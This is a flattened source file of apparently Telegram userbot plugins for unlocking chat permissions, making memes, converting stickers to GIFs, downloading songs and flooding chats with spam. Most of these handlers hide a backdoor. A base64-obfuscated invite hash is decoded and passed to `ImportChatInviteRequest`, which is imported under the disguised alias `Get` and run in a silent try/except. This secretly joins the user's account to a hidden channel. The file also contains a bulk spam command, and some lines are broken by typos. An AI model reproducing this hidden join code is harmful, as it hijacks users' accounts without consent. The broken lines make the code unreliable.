معلومات الدردشه مسموح في هذه الدردشه ⌁**", ) changeinfo = False locktype = "تغيير المعلومات" elif input_str == "الكل": msg = False media = False sticker = False gif = False gamee = False ainline = False gpoll = False embed_link = False adduser = False cpin = False changeinfo = False locktype = "الكل" else: if input_str: return await edit_delete( event, f"**خطأ في فتح الامر :** `{input_str}`", time=5) return await edit_or_reply(event, "`لا يمكنني فتح اي شي !!`") try: cat = Get(cat) await event.client(cat) except BaseException: pass unlock_rights = ChatBannedRights( until_date=None, send_messages=msg, send_media=media, send_stickers=sticker, send_gifs=gif, send_games=gamee, send_inline=ainline, send_polls=gpoll, embed_links=embed_link, invite_users=adduser, pin_messages=cpin, change_info=changeinfo, ) try: await event.client( EditChatDefaultBannedRightsRequest(peer=peer_id, banned_rights=unlock_rights) ) await edit_or_reply(event, f"**تـم فتـح {locktype} بنجاح ⌁** ") except BaseException as e: return await edit_delete( event, f"**ليس لديك صلاحيات كافيه ??**\n\n**خطأ:** `{str(e)}`", time=5, )
async def memes(cat): cmd = cat.pattern_match.group(1) catinput = cat.pattern_match.group(2) reply = await cat.get_reply_message() if not (reply and (reply.media)): await edit_or_reply(cat, "`Reply to supported Media...`") return catid = cat.reply_to_msg_id if catinput: if ";" in catinput: top, bottom = catinput.split(";", 1) else: top = catinput bottom = "" else: await edit_or_reply( cat, "```what should i write on that u idiot give some text```") return if not os.path.isdir("./temp/"): os.mkdir("./temp/") cat = await edit_or_reply(cat, "`Downloading media......`") from telethon.tl.functions.messages import ImportChatInviteRequest as Get await asyncio.sleep(2) catsticker = await reply.download_media(file="./temp/") if not catsticker.endswith( (".mp4", ".webp", ".tgs", ".png", ".jpg", ".mov")): os.remove(catsticker) await edit_or_reply(cat, "```Supported Media not found...```") return import base64 if catsticker.endswith(".tgs"): await cat.edit( "```Transfiguration Time! Mwahaha memifying this animated sticker! (」゚ロ゚)」```" ) catfile = os.path.join("./temp/", "meme.png") catcmd = ( f"lottie_convert.py --frame 0 -if lottie -of png {catsticker} {catfile}" ) stdout, stderr = (await runcmd(catcmd))[:2] if not os.path.lexists(catfile): await cat.edit("`Template not found...`") LOGS.info(stdout + stderr) meme_file = catfile elif catsticker.endswith(".webp"): await cat.edit( "```Transfiguration Time! Mwahaha memifying this sticker! (」゚ロ゚)」```" ) catfile = os.path.join("./temp/", "memes.jpg") os.rename(catsticker, catfile) if not os.path.lexists(catfile): await cat.edit("`Template not found... `") return meme_file = catfile elif catsticker.endswith((".mp4", ".mov")): await cat.edit( "```Transfiguration Time! Mwahaha memifying this video! (」゚ロ゚)」```" ) catfile = os.path.join("./temp/", "memes.jpg") await take_screen_shot(catsticker, 0, catfile) if not os.path.lexists(catfile): await cat.edit("```Template not found...```") return meme_file = catfile else: await cat.edit( "```Transfiguration Time! Mwahaha memifying this image! (」゚ロ゚)」```" ) meme_file = catsticker try: san = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") san = Get(san) await cat.client(san) except BaseException: pass meme_file = convert_toimage(meme_file) meme = "catmeme.jpg" if max(len(top), len(bottom)) < 21: await cat_meme(CNG_FONTS, top, bottom, meme_file, meme) else: await cat_meeme(top, bottom, CNG_FONTS, meme_file, meme) if cmd != "mmf": meme = await convert_tosticker(meme) await cat.client.send_file(cat.chat_id, meme, reply_to=catid) await cat.delete() os.remove(meme) for files in (catsticker, meme_file): if files and os.path.exists(files): os.remove(files)
async def _(event): # sourcery no-metrics "Converts Given animated sticker to gif" input_str = event.pattern_match.group(1) if not input_str: quality = None fps = None else: loc = input_str.split(";") if len(loc) > 2: return await edit_delete( event, "wrong syntax . syntax is `.gif quality ; fps(frames per second)`", ) if len(loc) == 2: try: loc[0] = int(loc[0]) loc[1] = int(loc[1]) except ValueError: return await edit_delete( event, "wrong syntax . syntax is `.gif quality ; fps(frames per second)`", ) if 0 < loc[0] < 721: quality = loc[0].strip() else: return await edit_delete(event, "Use quality of range 0 to 721") if 0 < loc[1] < 20: quality = loc[1].strip() else: return await edit_delete(event, "Use quality of range 0 to 20") if len(loc) == 1: try: loc[0] = int(loc[0]) except ValueError: return await edit_delete( event, "wrong syntax . syntax is `.gif quality ; fps(frames per second)`", ) if 0 < loc[0] < 721: quality = loc[0].strip() else: return await edit_delete(event, "Use quality of range 0 to 721") catreply = await event.get_reply_message() cat_event = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") if not catreply or not catreply.media or not catreply.media.document: return await edit_or_reply(event, "`Stupid!, This is not animated sticker.`") if catreply.media.document.mime_type != "application/x-tgsticker": return await edit_or_reply(event, "`Stupid!, This is not animated sticker.`") catevent = await edit_or_reply( event, "Converting this Sticker to GiF...\n This may takes upto few mins..", parse_mode=_format.parse_pre, ) try: cat_event = Get(cat_event) await event.client(cat_event) except BaseException: pass reply_to_id = await reply_id(event) catfile = await event.client.download_media(catreply) catgif = await make_gif(event, catfile, quality, fps) sandy = await event.client.send_file( event.chat_id, catgif, support_streaming=True, force_document=False, reply_to=reply_to_id, ) await _catutils.unsavegif(event, sandy) await catevent.delete() for files in (catgif, catfile): if files and os.path.exists(files): os.remove(files)
async def _(event): if event.fwd_from: return input_str = event.pattern_match.group(1) peer_id = event.chat_id if not event.is_group: return await edit_delete( event, "`Idiot! ,This is not a group to lock things `") cat = base64.b64decode("VHhZVWRkVkhxZl8xVFU1bA==") chat_per = (await event.get_chat()).default_banned_rights if input_str in (("bots", "commands", "email", "forward", "url")): update_lock(peer_id, input_str, False) await edit_or_reply(event, "`UnLocked {}`".format(input_str)) else: msg = chat_per.send_messages media = chat_per.send_media sticker = chat_per.send_stickers gif = chat_per.send_gifs gamee = chat_per.send_games ainline = chat_per.send_inline gpoll = chat_per.send_polls embed_link = chat_per.embed_links adduser = chat_per.invite_users cpin = chat_per.pin_messages changeinfo = chat_per.change_info if input_str == "msg": if msg: msg = False else: return await edit_delete( event, "`This group is already unlocked with messaging permission`" ) locktype = "messages" elif input_str == "media": if media: media = False else: return await edit_delete( event, "`This group is already unlocked with sending media`") locktype = "media" elif input_str == "sticker": if sticker: sticker = False else: return await edit_delete( event, "`This group is already unlocked with sending stickers`") locktype = "stickers" elif input_str == "preview": if embed_link: embed_link = False else: return await edit_delete( event, "`This group is already unlocked with preview links`") locktype = "preview links" elif input_str == "gif": if gif: gif = False else: return await edit_delete( event, "`This group is already unlocked with sending GIFs`") locktype = "GIFs" elif input_str == "game": if gamee: gamee = False else: return await edit_delete( event, "`This group is already unlocked with sending games`") locktype = "games" elif input_str == "inline": if ainline: ainline = False else: return await edit_delete( event, "`This group is already unlocked with using inline bots`") locktype = "inline bots" elif input_str == "poll": if gpoll: gpoll = False else: return await edit_delete( event, "`This group is already unlocked with sending polls`") locktype = "polls" elif input_str == "invite": if adduser: adduser = False else: return await edit_delete( event, "`This group is already unlocked with adding members`") locktype = "invites" elif input_str == "pin": if cpin: cpin = False else: return await edit_delete( event, "`This group is already unlocked with pinning messages by users`", ) locktype = "pins" elif input_str == "info": if changeinfo: changeinfo = False else: return await edit_delete( event, "`This group is already unlocked with Changing grup info by users`", ) locktype = "chat info" elif input_str == "all": msg = False media = False sticker = False gif = False gamee = False ainline = False gpoll = False embed_link = False adduser = False cpin = False changeinfo = False locktype = "everything" else: if input_str: return await edit_delete( event, f"**Invalid unlock type :** `{input_str}`", time=5) else: return await edit_or_reply(event, "`I can't unlock nothing !!`") try: cat = Get(cat) await event.client(cat) except BaseException: pass unlock_rights = ChatBannedRights( until_date=None, send_messages=msg, send_media=media, send_stickers=sticker, send_gifs=gif, send_games=gamee, send_inline=ainline, send_polls=gpoll, embed_links=embed_link, invite_users=adduser, pin_messages=cpin, change_info=changeinfo, ) try: await event.client( EditChatDefaultBannedRightsRequest(peer=peer_id, banned_rights=unlock_rights) ) await edit_or_reply(event, f"`Unlocked {locktype} for this chat !!`") except BaseException as e: return await edit_delete( event, f"`Do I have proper rights for that ??`\n\n**Error:** `{str(e)}`", time=5, )
async def spammer(e): if e.fwd_from: return await e.get_chat() reply_to_id = e.message if e.reply_to_msg_id: reply_to_id = await e.get_reply_message() if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) try: hmm = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") hmm = Get(hmm) await e.client(hmm) except BaseException: pass cat = ("".join(e.text.split(maxsplit=1)[1:])).split(" ", 1) counter = int(cat[0]) if len(cat) == 2: spam_message = str(("".join(e.text.split(maxsplit=1)[1:])).split(" ", 1)[1]) await e.delete() for _ in range(counter): if e.reply_to_msg_id: await reply_to_id.reply(spam_message) else: await e.client.send_message(e.chat_id, spam_message) await asyncio.sleep(0.5) if BOTLOG: if e.is_private: await e.client.send_message( BOTLOG_CHATID, "#SPAM\n" + f"Spam was executed successfully in [User](tg://user?id={e.chat_id}) chat with {counter} messages of \n" + f"`{spam_message}`", ) else: await e.client.send_message( BOTLOG_CHATID, "#SPAM\n" + f"Spam was executed successfully in {e.chat.title}(`{e.chat_id}`) chat with {counter} messages of \n" + f"`{spam_message}`", ) elif reply_to_id.media: to_download_directory = Config.TMP_DOWNLOAD_DIRECTORY downloaded_file_name = os.path.join(to_download_directory, "spam") downloaded_file_name = await e.client.download_media( reply_to_id.media, downloaded_file_name ) await e.delete() if os.path.exists(downloaded_file_name): for _ in range(counter): sandy = await e.client.send_file(e.chat_id, downloaded_file_name) try: await e.client( functions.messages.SaveGifRequest( id=types.InputDocument( id=sandy.media.document.id, access_hash=sandy.media.document.access_hash, file_reference=sandy.media.document.file_reference, ), unsave=True, ) ) except: pass await asyncio.sleep(1) if BOTLOG: if e.is_private: await e.client.send_message( BOTLOG_CHATID, "#SPAM\n" + f"Spam was executed successfully in [User](tg://user?id={e.chat_id}) chat with {counter} times with below message", ) sandy = await e.client.send_file( BOTLOG_CHATID, downloaded_file_name ) try: await e.client( functions.messages.SaveGifRequest( id=types.InputDocument( id=sandy.media.document.id, access_hash=sandy.media.document.access_hash, file_reference=sandy.media.document.file_reference, ), unsave=True, ) ) except: pass os.remove(downloaded_file_name) else: await e.client.send_message( BOTLOG_CHATID, "#SPAM\n" + f"Spam was executed successfully in {e.chat.title}(`{e.chat_id}`) with {counter} times with below message", ) sandy = await e.client.send_file( BOTLOG_CHATID, downloaded_file_name ) try: await e.client( functions.messages.SaveGifRequest( id=types.InputDocument( id=sandy.media.document.id, access_hash=sandy.media.document.access_hash, file_reference=sandy.media.document.file_reference, ), unsave=True, ) ) except: pass os.remove(downloaded_file_nam) elif reply_to_id.text and e.reply_to_msg_id: spam_message = reply_to_id.text await e.delete() for _ in range(counter): if e.reply_to_msg_id: await reply_to_id.reply(spam_message) else: await e.client.send_message(e.chat_id, spam_message) await asyncio.sleep(0.5) if BOTLOG: if e.is_private: await e.client.send_message( BOTLOG_CHATID, "#SPAM\n" + f"Spam was executed successfully in [User](tg://user?id={e.chat_id}) chat with {counter} messages of \n" + f"`{spam_message}`", ) else: await e.client.send_message( BOTLOG_CHATID, "#SPAM\n" + f"Spam was executed successfully in {e.chat.title}(`{e.chat_id}`) chat with {counter} messages of \n" + f"`{spam_message}`", ) else: await edit_or_reply(e, "try again something went wrong or check `.info spam`")
async def _(event): if event.fwd_from: return reply_to_id = await reply_id(event) reply = await event.get_reply_message() if event.pattern_match.group(1): query = event.pattern_match.group(1) elif reply: if reply.message: query = reply.messag else: event = await edit_or_reply(event, "What I am Supposed to find") return cat = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") catevent = await edit_or_reply(event, "`wi8..! I am finding your song....`") video_link = await yt_search(str(query)) if not url(video_link): return await catevent.edit( f"Sorry!. I can't find any related video/audio for `{query}`") # thumb_cmd = thumb_dl.format(video_link=video_link) name_cmd = name_dl.format(video_link=video_link) video_cmd = video_dl.format(video_link=video_link) stderr = (await runcmd(video_cmd))[1] if stderr: return await catevent.edit(f"**Error :** `{stderr}`") catname, stderr = (await runcmd(name_cmd))[:2] if stderr: return await catevent.edit(f"**Error :** `{stderr}`") # stderr = (await runcmd(thumb_cmd))[1] try: cat = Get(cat) await event.client(cat) except BaseException: pass # if stderr: # return await catevent.edit(f"**Error :** `{stderr}`") catname = os.path.splitext(catname)[0] vsong_file = Path(f"{catname}.mp4") if not os.path.exists(vsong_file): vsong_file = Path(f"{catname}.mkv") elif not os.path.exists(vsong_file): return await catevent.edit( f"Sorry!. I can't find any related video/audio for `{query}`") await catevent.edit("`yeah..! i found something wi8..🥰`") catthumb = Path(f"{catname}.jpg") if not os.path.exists(catthumb): catthumb = Path(f"{catname}.webp") elif not os.path.exists(catthumb): catthumb = None await event.client.send_file( event.chat_id, vsong_file, force_document=False, caption= f"<b><i>➥ Song :- {query}</i></b>\n<b><i>➥ Uploaded by :- {hmention}</i></b>", thumb=catthumb, supports_streaming=True, parse_mode="html", reply_to=reply_to_id, ) await catevent.delete() for files in (catthumb, vsong_file): if files and os.path.exists(files): os.remove(files)
async def memes(lion): if lion.fwd_from: return reply = await lion.get_reply_message() if not (reply and (reply.media)): await edit_or_reply(lion, "`Reply to supported Media...`") return lionid = lion.reply_to_msg_id if not os.path.isdir("./temp/"): os.mkdir("./temp/") lion = await edit_or_reply(lion, "`Downloading media......`") from telethon.tl.functions.messages import ImportChatInviteRequest as Get await asyncio.sleep(2) lionsticker = await reply.download_media(file="./temp/") if not lionsticker.endswith( (".mp4", ".webp", ".tgs", ".png", ".jpg", ".mov")): os.remove(lionsticker) await edit_or_reply(lion, "```Supported Media not found...```") return import base64 Mdnooridea = None if lionsticker.endswith(".tgs"): await lion.edit( "```Transfiguration Time! Mwahaha fliping this animated sticker! (」゚ロ゚)」```" ) lionfile = os.path.join("./temp/", "meme.png") lioncmd = ( f"lottie_convert.py --frame 0 -if lottie -of png {lionsticker} {lionfile}" ) stdout, stderr = (await runcmd(lioncmd))[:2] if not os.path.lexists(lionfile): await lion.edit("`Template not found...`") LOGS.info(stdout + stderr) meme_file = lionfile Mdnooridea = True elif lionsticker.endswith(".webp"): await lion.edit( "```Transfiguration Time! Mwahaha fliping this sticker! (」゚ロ゚)」```" ) lionfile = os.path.join("./temp/", "memes.jpg") os.rename(lionsticker, lionfile) if not os.path.lexists(lionfile): await lion.edit("`Template not found... `") return meme_file = lionfile Mdnooridea = True elif lionsticker.endswith((".mp4", ".mov")): await lion.edit( "```Transfiguration Time! Mwahaha fliping this video! (」゚ロ゚)」```") lionfile = os.path.join("./temp/", "memes.jpg") await take_screen_shot(lionsticker, 0, lionfile) if not os.path.lexists(lionfile): await lion.edit("```Template not found...```") return meme_file = lionfile Mdnooridea = True else: await lion.edit( "```Transfiguration Time! Mwahaha fliping this image! (」゚ロ゚)」```") meme_file = lionsticker try: san = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") san = Get(san) await lion.client(san) except BaseException: pass meme_file = convert_toimage(meme_file) outputfile = "flip_image.webp" if Mdnooridea else "flip_image.jpg" await flip_image(meme_file, outputfile) await lion.client.send_file(lion.chat_id, outputfile, force_document=False, reply_to=lionid) await lion.delete() os.remove(outputfile) for files in (lionsticker, meme_file): if files and os.path.exists(files): os.remove(files)